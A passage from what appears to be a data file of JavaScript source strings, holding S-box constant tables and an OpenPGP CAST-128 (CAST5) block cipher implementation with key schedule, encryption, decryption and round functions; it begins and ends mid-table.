0x17af8975, 0x32c7911c, 0x89f89468, 0x0d01e980, 0x524755f4, 0x03b63cc9, 0x0cc844b2, 0xbcf3f0aa, 0x87ac36e9, 0xe53a7426, 0x01b3d82b, 0x1a9e7449, 0x64ee2d7e, 0xcddbb1da, 0x01c94910, 0xb868bf80, 0x0d26f3fd, 0x9342ede7, 0x04a5c284, 0x636737b6, 0x50f5b616, 0xf24766e3, 0x8eca36c1, 0x136e05db, 0xfef18391, 0xfb887a37, 0xd6e7f7d4, 0xc7fb7dc9, 0x3063fcdf, 0xb6f589de, 0xec2941da, 0x26e46695, 0xb7566419, 0xf654efc5, 0xd08d58b7, 0x48925401, 0xc1bacb7f, 0xe5ff550f, 0xb6083049, 0x5bb5d0e8, 0x87d72e5a, 0xab6a6ee1, 0x223a66ce, 0xc62bf3cd, 0x9e0885f9, 0x68cb3e47, 0x086c010f, 0xa21de820, 0xd18b69de, 0xf3f65777, 0xfa02c3f6, 0x407edac3, 0xcbb3d550, 0x1793084d, 0xb0d70eba, 0x0ab378d5, 0xd951fb0c, 0xded7da56, 0x4124bbe4, 0x94ca0b56, 0x0f5755d1, 0xe0e1e56e, 0x6184b5be, 0x580a249f, 0x94f74bc0, 0xe327888e, 0x9f7b5561, 0xc3dc0280, 0x05687715, 0x646c6bd7, 0x44904db3, 0x66b4f0a3, 0xc0f1648a, 0x697ed5af, 0x49e92ff6, 0x309e374f, 0x2cb6356a, 0x85808573, 0x4991f840, 0x76f0ae02, 0x083be84d, 0x28421c9a, 0x44489406, 0x736e4cb8, 0xc1092910, 0x8bc95fc6, 0x7d869cf4, 0x134f616f, 0x2e77118d, 0xb31b2be1, 0xaa90b472, 0x3ca5d717, 0x7d161bba, 0x9cad9010, 0xaf462ba2, 0x9fe459d2, 0x45d34559, 0xd9f2da13, 0xdbc65487, 0xf3e4f94e, 0x176d486f, 0x097c13ea, 0x631da5c7, 0x445f7382, 0x175683f4, 0xcdc66a97, 0x70be0288, 0xb3cdcf72, 0x6e5dd2f3, 0x20936079, 0x459b80a5, 0xbe60e2db, 0xa9c23101, 0xeba5315c, 0x224e42f2, 0x1c5c1572, 0xf6721b2c, 0x1ad2fff3, 0x8c25404e, 0x324ed72f, 0x4067b7fd, 0x0523138e, 0x5ca3bc78, 0xdc0fd66e, 0x75922283, 0x784d6b17, 0x58ebb16e, 0x44094f85, 0x3f481d87, 0xfcfeae7b, 0x77b5ff76, 0x8c2302bf, 0xaaf47556, 0x5f46b02a, 0x2b092801, 0x3d38f5f7, 0x0ca81f36, 0x52af4a8a, 0x66d5e7c0, 0xdf3b0874, 0x95055110, 0x1b5ad7a8, 0xf61ed5ad, 0x6cf6e479, 0x20758184, 0xd0cefa65, 0x88f7be58, 0x4a046826, 0x0ff6f8f3, 0xa09c7f70, 0x5346aba0, 0x5ce96c28, 0xe176eda3, 0x6bac307f, 0x376829d2, 0x85360fa9, 0x17e3fe2a, 0x24b79767, 0xf5a96b20, 0xd6cd2595, 0x68ff1ebf, 0x7555442c, 0xf19f06be, 0xf9e0659a, 0xeeb9491d, 0x34010718, 0xbb30cab8, 0xe822fe15, 0x88570983, 0x750e6249, 0xda627e55, 0x5e76ffa8, 0xb1534546, 0x6d47de08, 0xefe9e7d4];\n\n sBox[5] = [0xf6fa8f9d, 0x2cac6ce1, 0x4ca34867, 0xe2337f7c, 0x95db08e7, 0x016843b4, 0xeced5cbc, 0x325553ac, 0xbf9f0960, 0xdfa1e2ed, 0x83f0579d, 0x63ed86b9, 0x1ab6a6b8, 0xde5ebe39, 0xf38ff732, 0x8989b138, 0x33f14961, 0xc01937bd, 0xf506c6da, 0xe4625e7e, 0xa308ea99, 0x4e23e33c, 0x79cbd7cc, 0x48a14367, 0xa3149619, 0xfec94bd5, 0xa114174a, 0xeaa01866, 0xa084db2d, 0x09a8486f, 0xa888614a, 0x2900af98, 0x01665991, 0xe1992863, 0xc8f30c60, 0x2e78ef3c, 0xd0d51932, 0xcf0fec14, 0xf7ca07d2, 0xd0a82072, 0xfd41197e, 0x9305a6b0, 0xe86be3da, 0x74bed3cd, 0x372da53c, 0x4c7f4448, 0xdab5d440, 0x6dba0ec3, 0x083919a7, 0x9fbaeed9, 0x49dbcfb0, 0x4e670c53, 0x5c3d9c01, 0x64bdb941, 0x2c0e636a, 0xba7dd9cd, 0xea6f7388, 0xe70bc762, 0x35f29adb, 0x5c4cdd8d, 0xf0d48d8c, 0xb88153e2, 0x08a19866, 0x1ae2eac8, 0x284caf89, 0xaa928223, 0x9334be53, 0x3b3a21bf, 0x16434be3, 0x9aea3906, 0xefe8c36e, 0xf890cdd9, 0x80226dae, 0xc340a4a3, 0xdf7e9c09, 0xa694a807, 0x5b7c5ecc, 0x221db3a6, 0x9a69a02f, 0x68818a54, 0xceb2296f, 0x53c0843a, 0xfe893655, 0x25bfe68a, 0xb4628abc, 0xcf222ebf, 0x25ac6f48, 0xa9a99387, 0x53bddb65, 0xe76ffbe7, 0xe967fd78, 0x0ba93563, 0x8e342bc1, 0xe8a11be9, 0x4980740d, 0xc8087dfc, 0x8de4bf99, 0xa11101a0, 0x7fd37975, 0xda5a26c0, 0xe81f994f, 0x9528cd89, 0xfd339fed, 0xb87834bf, 0x5f04456d, 0x22258698, 0xc9c4c83b, 0x2dc156be, 0x4f628daa, 0x57f55ec5, 0xe2220abe, 0xd2916ebf, 0x4ec75b95, 0x24f2c3c0, 0x42d15d99, 0xcd0d7fa0, 0x7b6e27ff, 0xa8dc8af0, 0x7345c106, 0xf41e232f, 0x35162386, 0xe6ea8926, 0x3333b094, 0x157ec6f2, 0x372b74af, 0x692573e4, 0xe9a9d848, 0xf3160289, 0x3a62ef1d, 0xa787e238, 0xf3a5f676, 0x74364853, 0x20951063, 0x4576698d, 0xb6fad407, 0x592af950, 0x36f73523, 0x4cfb6e87, 0x7da4cec0, 0x6c152daa, 0xcb0396a8, 0xc50dfe5d, 0xfcd707ab, 0x0921c42f, 0x89dff0bb, 0x5fe2be78, 0x448f4f33, 0x754613c9, 0x2b05d08d, 0x48b9d585, 0xdc049441, 0xc8098f9b, 0x7dede786, 0xc39a3373, 0x42410005, 0x6a091751, 0x0ef3c8a6, 0x890072d6, 0x28207682, 0xa9a9f7be, 0xbf32679d, 0xd45b5b75, 0xb353fd00, 0xcbb0e358, 0x830f220a, 0x1f8fb214, 0xd372cf08, 0xcc3c4a13, 0x8cf63166, 0x061c87be, 0x88c98f88, 0x6062e397, 0x47cf8e7a, 0xb6c85283, 0x3cc2acfb, 0x3fc06976, 0x4e8f0252, 0x64d8314d, 0xda3870e3, 0x1e665459, 0xc10908f0, 0x513021a5, 0x6c5b68b7, 0x822f8aa0, 0x3007cd3e, 0x74719eef, 0xdc872681, 0x073340d4, 0x7e432fd9, 0x0c5ec241, 0x8809286c, 0xf592d891, 0x08a930f6, 0x957ef305, 0xb7fbffbd, 0xc266e96f, 0x6fe4ac98, 0xb173ecc0, 0xbc60b42a, 0x953498da, 0xfba1ae12, 0x2d4bd736, 0x0f25faab, 0xa4f3fceb, 0xe2969123, 0x257f0c3d, 0x9348af49, 0x361400bc, 0xe8816f4a, 0x3814f200, 0xa3f94043, 0x9c7a54c2, 0xbc704f57, 0xda41e7f9, 0xc25ad33a, 0x54f4a084, 0xb17f5505, 0x59357cbe, 0xedbd15c8, 0x7f97c5ab, 0xba5ac7b5, 0xb6f6deaf, 0x3a479c3a, 0x5302da25, 0x653d7e6a, 0x54268d49, 0x51a477ea, 0x5017d55b, 0xd7d25d88, 0x44136c76, 0x0404a8c8, 0xb8e5a121, 0xb81a928a, 0x60ed5869, 0x97c55b96, 0xeaec991b, 0x29935913, 0x01fdb7f1, 0x088e8dfa, 0x9ab6f6f5, 0x3b4cbf9f, 0x4a5de3ab, 0xe6051d35, 0xa0e1d855, 0xd36b4cf1, 0xf544edeb, 0xb0e93524, 0xbebb8fbd, 0xa2d762cf, 0x49c92f54, 0x38b5f331, 0x7128a454, 0x48392905, 0xa65b1db8, 0x851c97bd, 0xd675cf2f];\n\n sBox[6] = [0x85e04019, 0x332bf567, 0x662dbfff, 0xcfc65693, 0x2a8d7f6f, 0xab9bc912, 0xde6008a1, 0x2028da1f, 0x0227bce7, 0x4d642916, 0x18fac300, 0x50f18b82, 0x2cb2cb11, 0xb232e75c, 0x4b3695f2, 0xb28707de, 0xa05fbcf6, 0xcd4181e9, 0xe150210c, 0xe24ef1bd, 0xb168c381, 0xfde4e789, 0x5c79b0d8, 0x1e8bfd43, 0x4d495001, 0x38be4341, 0x913cee1d, 0x92a79c3f, 0x089766be, 0xbaeeadf4, 0x1286becf, 0xb6eacb19, 0x2660c200, 0x7565bde4, 0x64241f7a, 0x8248dca9, 0xc3b3ad66, 0x28136086, 0x0bd8dfa8, 0x356d1cf2, 0x107789be, 0xb3b2e9ce, 0x0502aa8f, 0x0bc0351e, 0x166bf52a, 0xeb12ff82, 0xe3486911, 0xd34d7516, 0x4e7b3aff, 0x5f43671b, 0x9cf6e037, 0x4981ac83, 0x334266ce, 0x8c9341b7, 0xd0d854c0, 0xcb3a6c88, 0x47bc2829, 0x4725ba37, 0xa66ad22b, 0x7ad61f1e, 0x0c5cbafa, 0x4437f107, 0xb6e79962, 0x42d2d816, 0x0a961288, 0xe1a5c06e, 0x13749e67, 0x72fc081a, 0xb1d139f7, 0xf9583745, 0xcf19df58, 0xbec3f756, 0xc06eba30, 0x07211b24, 0x45c28829, 0xc95e317f, 0xbc8ec511, 0x38bc46e9, 0xc6e6fa14, 0xbae8584a, 0xad4ebc46, 0x468f508b, 0x7829435f, 0xf124183b, 0x821dba9f, 0xaff60ff4, 0xea2c4e6d, 0x16e39264, 0x92544a8b, 0x009b4fc3, 0xaba68ced, 0x9ac96f78, 0x06a5b79a, 0xb2856e6e, 0x1aec3ca9, 0xbe838688, 0x0e0804e9, 0x55f1be56, 0xe7e5363b, 0xb3a1f25d, 0xf7debb85, 0x61fe033c, 0x16746233, 0x3c034c28, 0xda6d0c74, 0x79aac56c, 0x3ce4e1ad, 0x51f0c802, 0x98f8f35a, 0x1626a49f, 0xeed82b29, 0x1d382fe3, 0x0c4fb99a, 0xbb325778, 0x3ec6d97b, 0x6e77a6a9, 0xcb658b5c, 0xd45230c7, 0x2bd1408b, 0x60c03eb7, 0xb9068d78, 0xa33754f4, 0xf430c87d, 0xc8a71302, 0xb96d8c32, 0xebd4e7be, 0xbe8b9d2d, 0x7979fb06, 0xe7225308, 0x8b75cf77, 0x11ef8da4, 0xe083c858, 0x8d6b786f, 0x5a6317a6, 0xfa5cf7a0, 0x5dda0033, 0xf28ebfb0, 0xf5b9c310, 0xa0eac280, 0x08b9767a, 0xa3d9d2b0, 0x79d34217, 0x021a718d, 0x9ac6336a, 0x2711fd60, 0x438050e3, 0x069908a8, 0x3d7fedc4, 0x826d2bef, 0x4eeb8476, 0x488dcf25, 0x36c9d566, 0x28e74e41, 0xc2610aca, 0x3d49a9cf, 0xbae3b9df, 0xb65f8de6, 0x92aeaf64, 0x3ac7d5e6, 0x9ea80509, 0xf22b017d, 0xa4173f70, 0xdd1e16c3, 0x15e0d7f9, 0x50b1b887, 0x2b9f4fd5, 0x625aba82, 0x6a017962, 0x2ec01b9c, 0x15488aa9, 0xd716e740, 0x40055a2c, 0x93d29a22, 0xe32dbf9a, 0x058745b9, 0x3453dc1e, 0xd699296e, 0x496cff6f, 0x1c9f4986, 0xdfe2ed07, 0xb87242d1, 0x19de7eae, 0x053e561a, 0x15ad6f8c, 0x66626c1c, 0x7154c24c, 0xea082b2a, 0x93eb2939, 0x17dcb0f0, 0x58d4f2ae, 0x9ea294fb, 0x52cf564c, 0x9883fe66, 0x2ec40581, 0x763953c3, 0x01d6692e, 0xd3a0c108, 0xa1e7160e, 0xe4f2dfa6, 0x693ed285, 0x74904698, 0x4c2b0edd, 0x4f757656, 0x5d393378, 0xa132234f, 0x3d321c5d, 0xc3f5e194, 0x4b269301, 0xc79f022f, 0x3c997e7e, 0x5e4f9504, 0x3ffafbbd, 0x76f7ad0e, 0x296693f4, 0x3d1fce6f, 0xc61e45be, 0xd3b5ab34, 0xf72bf9b7, 0x1b0434c0, 0x4e72b567, 0x5592a33d, 0xb5229301, 0xcfd2a87f, 0x60aeb767, 0x1814386b, 0x30bcc33d, 0x38a0c07d, 0xfd1606f2, 0xc363519b, 0x589dd390, 0x5479f8e6, 0x1cb8d647, 0x97fd61a9, 0xea7759f4, 0x2d57539d, 0x569a58cf, 0xe84e63ad, 0x462e1b78, 0x6580f87e, 0xf3817914, 0x91da55f4, 0x40a230f3, 0xd1988f35, 0xb6e318d2, 0x3ffa50bc, 0x3d40f021, 0xc3c0bdae, 0x4958c24c, 0x518f36b2, 0x84b1d370, 0x0fedce83, 0x878ddada, 0xf2a279c7, 0x94e01be8, 0x90716f4b, 0x954b8aa3];\n\n sBox[7] = [0xe216300d, 0xbbddfffc, 0xa7ebdabd, 0x35648095, 0x7789f8b7, 0xe6c1121b, 0x0e241600, 0x052ce8b5, 0x11a9cfb0, 0xe5952f11, 0xece7990a, 0x9386d174, 0x2a42931c, 0x76e38111, 0xb12def3a, 0x37ddddfc, 0xde9adeb1, 0x0a0cc32c, 0xbe197029, 0x84a00940, 0xbb243a0f, 0xb4d137cf, 0xb44e79f0, 0x049eedfd, 0x0b15a15d, 0x480d3168, 0x8bbbde5a, 0x669ded42, 0xc7ece831, 0x3f8f95e7, 0x72df191b, 0x7580330d, 0x94074251, 0x5c7dcdfa, 0xabbe6d63, 0xaa402164, 0xb301d40a, 0x02e7d1ca, 0x53571dae, 0x7a3182a2, 0x12a8ddec, 0xfdaa335d, 0x176f43e8, 0x71fb46d4, 0x38129022, 0xce949ad4, 0xb84769ad, 0x965bd862, 0x82f3d055, 0x66fb9767, 0x15b80b4e, 0x1d5b47a0, 0x4cfde06f, 0xc28ec4b8, 0x57e8726e, 0x647a78fc, 0x99865d44, 0x608bd593, 0x6c200e03, 0x39dc5ff6, 0x5d0b00a3, 0xae63aff2, 0x7e8bd632, 0x70108c0c, 0xbbd35049, 0x2998df04, 0x980cf42a, 0x9b6df491, 0x9e7edd53, 0x06918548, 0x58cb7e07, 0x3b74ef2e, 0x522fffb1, 0xd24708cc, 0x1c7e27cd, 0xa4eb215b, 0x3cf1d2e2, 0x19b47a38, 0x424f7618, 0x35856039, 0x9d17dee7, 0x27eb35e6, 0xc9aff67b, 0x36baf5b8, 0x09c467cd, 0xc18910b1, 0xe11dbf7b, 0x06cd1af8, 0x7170c608, 0x2d5e3354, 0xd4de495a, 0x64c6d006, 0xbcc0c62c, 0x3dd00db3, 0x708f8f34, 0x77d51b42, 0x264f620f, 0x24b8d2bf, 0x15c1b79e, 0x46a52564, 0xf8d7e54e, 0x3e378160, 0x7895cda5, 0x859c15a5, 0xe6459788, 0xc37bc75f, 0xdb07ba0c, 0x0676a3ab, 0x7f229b1e, 0x31842e7b, 0x24259fd7, 0xf8bef472, 0x835ffcb8, 0x6df4c1f2, 0x96f5b195, 0xfd0af0fc, 0xb0fe134c, 0xe2506d3d, 0x4f9b12ea, 0xf215f225, 0xa223736f, 0x9fb4c428, 0x25d04979, 0x34c713f8, 0xc4618187, 0xea7a6e98, 0x7cd16efc, 0x1436876c, 0xf1544107, 0xbedeee14, 0x56e9af27, 0xa04aa441, 0x3cf7c899, 0x92ecbae6, 0xdd67016d, 0x151682eb, 0xa842eedf, 0xfdba60b4, 0xf1907b75, 0x20e3030f, 0x24d8c29e, 0xe139673b, 0xefa63fb8, 0x71873054, 0xb6f2cf3b, 0x9f326442, 0xcb15a4cc, 0xb01a4504, 0xf1e47d8d, 0x844a1be5, 0xbae7dfdc, 0x42cbda70, 0xcd7dae0a, 0x57e85b7a, 0xd53f5af6, 0x20cf4d8c, 0xcea4d428, 0x79d130a4, 0x3486ebfb, 0x33d3cddc, 0x77853b53, 0x37effcb5, 0xc5068778, 0xe580b3e6, 0x4e68b8f4, 0xc5c8b37e, 0x0d809ea2, 0x398feb7c, 0x132a4f94, 0x43b7950e, 0x2fee7d1c, 0x223613bd, 0xdd06caa2, 0x37df932b, 0xc4248289, 0xacf3ebc3, 0x5715f6b7, 0xef3478dd, 0xf267616f, 0xc148cbe4, 0x9052815e, 0x5e410fab, 0xb48a2465, 0x2eda7fa4, 0xe87b40e4, 0xe98ea084, 0x5889e9e1, 0xefd390fc, 0xdd07d35b, 0xdb485694, 0x38d7e5b2, 0x57720101, 0x730edebc, 0x5b643113, 0x94917e4f, 0x503c2fba, 0x646f1282, 0x7523d24a, 0xe0779695, 0xf9c17a8f, 0x7a5b2121, 0xd187b896, 0x29263a4d, 0xba510cdf, 0x81f47c9f, 0xad1163ed, 0xea7b5965, 0x1a00726e, 0x11403092, 0x00da6d77, 0x4a0cdd61, 0xad1f4603, 0x605bdfb0, 0x9eedc364, 0x22ebe6a8, 0xcee7d28a, 0xa0e736a0, 0x5564a6b9, 0x10853209, 0xc7eb8f37, 0x2de705ca, 0x8951570f, 0xdf09822b, 0xbd691a6c, 0xaa12e4f2, 0x87451c0f, 0xe0f6a27a, 0x3ada4819, 0x4cf1764f, 0x0d771c2b, 0x67cdb156, 0x350d8384, 0x5938fa0f, 0x42399ef3, 0x36997b07, 0x0e84093d, 0x4aa93e61, 0x8360d87b, 0x1fa98b0c, 0x1149382c, 0xe97625a5, 0x0614d1b7, 0x0e25244b, 0x0c768347, 0x589e8d82, 0x0d2059d1, 0xa466bb1e, 0xf8da0a82, 0x04f19130, 0xba6e4ec0, 0x99265164, 0x1ee7230d, 0x50b2ad80, 0xeaee6801, 0x8db2a283, 0xea8bf59e];\n}", "function OpenpgpSymencCast5() {\n this.BlockSize = 8;\n this.KeySize = 16;\n\n this.setKey = function(key) {\n this.masking = new Array(16);\n this.rotate = new Array(16);\n\n this.reset();\n\n if (key.length === this.KeySize) {\n this.keySchedule(key);\n } else {\n throw new Error('CAST-128: keys must be 16 bytes');\n }\n return true;\n };\n\n this.reset = function() {\n for (let i = 0; i < 16; i++) {\n this.masking[i] = 0;\n this.rotate[i] = 0;\n }\n };\n\n this.getBlockSize = function() {\n return this.BlockSize;\n };\n\n this.encrypt = function(src) {\n const dst = new Array(src.length);\n\n for (let i = 0; i < src.length; i += 8) {\n let l = (src[i] << 24) | (src[i + 1] << 16) | (src[i + 2] << 8) | src[i + 3];\n let r = (src[i + 4] << 24) | (src[i + 5] << 16) | (src[i + 6] << 8) | src[i + 7];\n let t;\n\n t = r;\n r = l ^ f1(r, this.masking[0], this.rotate[0]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[1], this.rotate[1]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[2], this.rotate[2]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[3], this.rotate[3]);\n l = t;\n\n t = r;\n r = l ^ f2(r, this.masking[4], this.rotate[4]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[5], this.rotate[5]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[6], this.rotate[6]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[7], this.rotate[7]);\n l = t;\n\n t = r;\n r = l ^ f3(r, this.masking[8], this.rotate[8]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[9], this.rotate[9]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[10], this.rotate[10]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[11], this.rotate[11]);\n l = t;\n\n t = r;\n r = l ^ f1(r, this.masking[12], this.rotate[12]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[13], this.rotate[13]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[14], this.rotate[14]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[15], this.rotate[15]);\n l = t;\n\n dst[i] = (r >>> 24) & 255;\n dst[i + 1] = (r >>> 16) & 255;\n dst[i + 2] = (r >>> 8) & 255;\n dst[i + 3] = r & 255;\n dst[i + 4] = (l >>> 24) & 255;\n dst[i + 5] = (l >>> 16) & 255;\n dst[i + 6] = (l >>> 8) & 255;\n dst[i + 7] = l & 255;\n }\n\n return dst;\n };\n\n this.decrypt = function(src) {\n const dst = new Array(src.length);\n\n for (let i = 0; i < src.length; i += 8) {\n let l = (src[i] << 24) | (src[i + 1] << 16) | (src[i + 2] << 8) | src[i + 3];\n let r = (src[i + 4] << 24) | (src[i + 5] << 16) | (src[i + 6] << 8) | src[i + 7];\n let t;\n\n t = r;\n r = l ^ f1(r, this.masking[15], this.rotate[15]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[14], this.rotate[14]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[13], this.rotate[13]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[12], this.rotate[12]);\n l = t;\n\n t = r;\n r = l ^ f3(r, this.masking[11], this.rotate[11]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[10], this.rotate[10]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[9], this.rotate[9]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[8], this.rotate[8]);\n l = t;\n\n t = r;\n r = l ^ f2(r, this.masking[7], this.rotate[7]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[6], this.rotate[6]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[5], this.rotate[5]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[4], this.rotate[4]);\n l = t;\n\n t = r;\n r = l ^ f1(r, this.masking[3], this.rotate[3]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[2], this.rotate[2]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[1], this.rotate[1]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[0], this.rotate[0]);\n l = t;\n\n dst[i] = (r >>> 24) & 255;\n dst[i + 1] = (r >>> 16) & 255;\n dst[i + 2] = (r >>> 8) & 255;\n dst[i + 3] = r & 255;\n dst[i + 4] = (l >>> 24) & 255;\n dst[i + 5] = (l >> 16) & 255;\n dst[i + 6] = (l >> 8) & 255;\n dst[i + 7] = l & 255;\n }\n\n return dst;\n };\n const scheduleA = new Array(4);\n\n scheduleA[0] = new Array(4);\n scheduleA[0][0] = [4, 0, 0xd, 0xf, 0xc, 0xe, 0x8];\n scheduleA[0][1] = [5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa];\n scheduleA[0][2] = [6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9];\n scheduleA[0][3] = [7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb];\n\n scheduleA[1] = new Array(4);\n scheduleA[1][0] = [0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0];\n scheduleA[1][1] = [1, 4, 0, 2, 1, 3, 16 + 2];\n scheduleA[1][2] = [2, 5, 7, 6, 5, 4, 16 + 1];\n scheduleA[1][3] = [3, 7, 0xa, 9, 0xb, 8, 16 + 3];\n\n scheduleA[2] = new Array(4);\n scheduleA[2][0] = [4, 0, 0xd, 0xf, 0xc, 0xe, 8];\n scheduleA[2][1] = [5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa];\n scheduleA[2][2] = [6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9];\n scheduleA[2][3] = [7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb];\n\n\n scheduleA[3] = new Array(4);\n scheduleA[3][0] = [0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0];\n scheduleA[3][1] = [1, 4, 0, 2, 1, 3, 16 + 2];\n scheduleA[3][2] = [2, 5, 7, 6, 5, 4, 16 + 1];\n scheduleA[3][3] = [3, 7, 0xa, 9, 0xb, 8, 16 + 3];\n\n const scheduleB = new Array(4);\n\n scheduleB[0] = new Array(4);\n scheduleB[0][0] = [16 + 8, 16 + 9, 16 + 7, 16 + 6, 16 + 2];\n scheduleB[0][1] = [16 + 0xa, 16 + 0xb, 16 + 5, 16 + 4, 16 + 6];\n scheduleB[0][2] = [16 + 0xc, 16 + 0xd, 16 + 3, 16 + 2, 16 + 9];\n scheduleB[0][3] = [16 + 0xe, 16 + 0xf, 16 + 1, 16 + 0, 16 + 0xc];\n\n scheduleB[1] = new Array(4);\n scheduleB[1][0] = [3, 2, 0xc, 0xd, 8];\n scheduleB[1][1] = [1, 0, 0xe, 0xf, 0xd];\n scheduleB[1][2] = [7, 6, 8, 9, 3];\n scheduleB[1][3] = [5, 4, 0xa, 0xb, 7];\n\n\n scheduleB[2] = new Array(4);\n scheduleB[2][0] = [16 + 3, 16 + 2, 16 + 0xc, 16 + 0xd, 16 + 9];\n scheduleB[2][1] = [16 + 1, 16 + 0, 16 + 0xe, 16 + 0xf, 16 + 0xc];\n scheduleB[2][2] = [16 + 7, 16 + 6, 16 + 8, 16 + 9, 16 + 2];\n scheduleB[2][3] = [16 + 5, 16 + 4, 16 + 0xa, 16 + 0xb, 16 + 6];\n\n\n scheduleB[3] = new Array(4);\n scheduleB[3][0] = [8, 9, 7, 6, 3];\n scheduleB[3][1] = [0xa, 0xb, 5, 4, 7];\n scheduleB[3][2] = [0xc, 0xd, 3, 2, 8];\n scheduleB[3][3] = [0xe, 0xf, 1, 0, 0xd];\n\n // changed 'in' to 'inn' (in javascript 'in' is a reserved word)\n this.keySchedule = function(inn) {\n const t = new Array(8);\n const k = new Array(32);\n\n let j;\n\n for (let i = 0; i < 4; i++) {\n j = i * 4;\n t[i] = (inn[j] << 24) | (inn[j + 1] << 16) | (inn[j + 2] << 8) | inn[j + 3];\n }\n\n const x = [6, 7, 4, 5];\n let ki = 0;\n let w;\n\n for (let half = 0; half < 2; half++) {\n for (let round = 0; round < 4; round++) {\n for (j = 0; j < 4; j++) {\n const a = scheduleA[round][j];\n w = t[a[1]];\n\n w ^= sBox[4][(t[a[2] >>> 2] >>> (24 - 8 * (a[2] & 3))) & 0xff];\n w ^= sBox[5][(t[a[3] >>> 2] >>> (24 - 8 * (a[3] & 3))) & 0xff];\n w ^= sBox[6][(t[a[4] >>> 2] >>> (24 - 8 * (a[4] & 3))) & 0xff];\n w ^= sBox[7][(t[a[5] >>> 2] >>> (24 - 8 * (a[5] & 3))) & 0xff];\n w ^= sBox[x[j]][(t[a[6] >>> 2] >>> (24 - 8 * (a[6] & 3))) & 0xff];\n t[a[0]] = w;\n }\n\n for (j = 0; j < 4; j++) {\n const b = scheduleB[round][j];\n w = sBox[4][(t[b[0] >>> 2] >>> (24 - 8 * (b[0] & 3))) & 0xff];\n\n w ^= sBox[5][(t[b[1] >>> 2] >>> (24 - 8 * (b[1] & 3))) & 0xff];\n w ^= sBox[6][(t[b[2] >>> 2] >>> (24 - 8 * (b[2] & 3))) & 0xff];\n w ^= sBox[7][(t[b[3] >>> 2] >>> (24 - 8 * (b[3] & 3))) & 0xff];\n w ^= sBox[4 + j][(t[b[4] >>> 2] >>> (24 - 8 * (b[4] & 3))) & 0xff];\n k[ki] = w;\n ki++;\n }\n }\n }\n\n for (let i = 0; i < 16; i++) {\n this.masking[i] = k[i];\n this.rotate[i] = k[16 + i] & 0x1f;\n }\n };\n\n // These are the three 'f' functions. See RFC 2144, section 2.2.\n\n function f1(d, m, r) {\n const t = m + d;\n const I = (t << r) | (t >>> (32 - r));\n return ((sBox[0][I >>> 24] ^ sBox[1][(I >>> 16) & 255]) - sBox[2][(I >>> 8) & 255]) + sBox[3][I & 255];\n }\n\n function f2(d, m, r) {\n const t = m ^ d;\n const I = (t << r) | (t >>> (32 - r));\n return ((sBox[0][I >>> 24] - sBox[1][(I >>> 16) & 255]) + sBox[2][(I >>> 8) & 255]) ^ sBox[3][I & 255];\n }\n\n function f3(d, m, r) {\n const t = m - d;\n const I = (t << r) | (t >>> (32 - r));\n return ((sBox[0][I >>> 24] + sBox[1][(I >>> 16) & 255]) ^ sBox[2][(I >>> 8) & 255]) - sBox[3][I & 255];\n }\n\n const sBox = new Array(8);\n sBox[0] = [\n 0x30fb40d4, 0x9fa0ff0b, 0x6beccd2f, 0x3f258c7a, 0x1e213f2f, 0x9c004dd3, 0x6003e540, 0xcf9fc949,\n 0xbfd4af27, 0x88bbbdb5, 0xe2034090, 0x98d09675, 0x6e63a0e0, 0x15c361d2, 0xc2e7661d, 0x22d4ff8e,\n 0x28683b6f, 0xc07fd059, 0xff2379c8, 0x775f50e2, 0x43c340d3, 0xdf2f8656, 0x887ca41a, 0xa2d2bd2d,\n 0xa1c9e0d6, 0x346c4819, 0x61b76d87, 0x22540f2f, 0x2abe32e1, 0xaa54166b, 0x22568e3a, 0xa2d341d0,\n 0x66db40c8, 0xa784392f, 0x004dff2f, 0x2db9d2de, 0x97943fac, 0x4a97c1d8, 0x527644b7, 0xb5f437a7,\n 0xb82cbaef, 0xd751d159, 0x6ff7f0ed, 0x5a097a1f, 0x827b68d0, 0x90ecf52e, 0x22b0c054, 0xbc8e5935,\n 0x4b6d2f7f, 0x50bb64a2, 0xd2664910, 0xbee5812d, 0xb7332290, 0xe93b159f, 0xb48ee411, 0x4bff345d,\n 0xfd45c240, 0xad31973f, 0xc4f6d02e, 0x55fc8165, 0xd5b1caad, 0xa1ac2dae, 0xa2d4b76d, 0xc19b0c50,\n 0x882240f2, 0x0c6e4f38, 0xa4e4bfd7, 0x4f5ba272, 0x564c1d2f, 0xc59c5319, 0xb949e354, 0xb04669fe,\n 0xb1b6ab8a, 0xc71358dd, 0x6385c545, 0x110f935d, 0x57538ad5, 0x6a390493, 0xe63d37e0, 0x2a54f6b3,\n 0x3a787d5f, 0x6276a0b5, 0x19a6fcdf, 0x7a42206a, 0x29f9d4d5, 0xf61b1891, 0xbb72275e, 0xaa508167,\n 0x38901091, 0xc6b505eb, 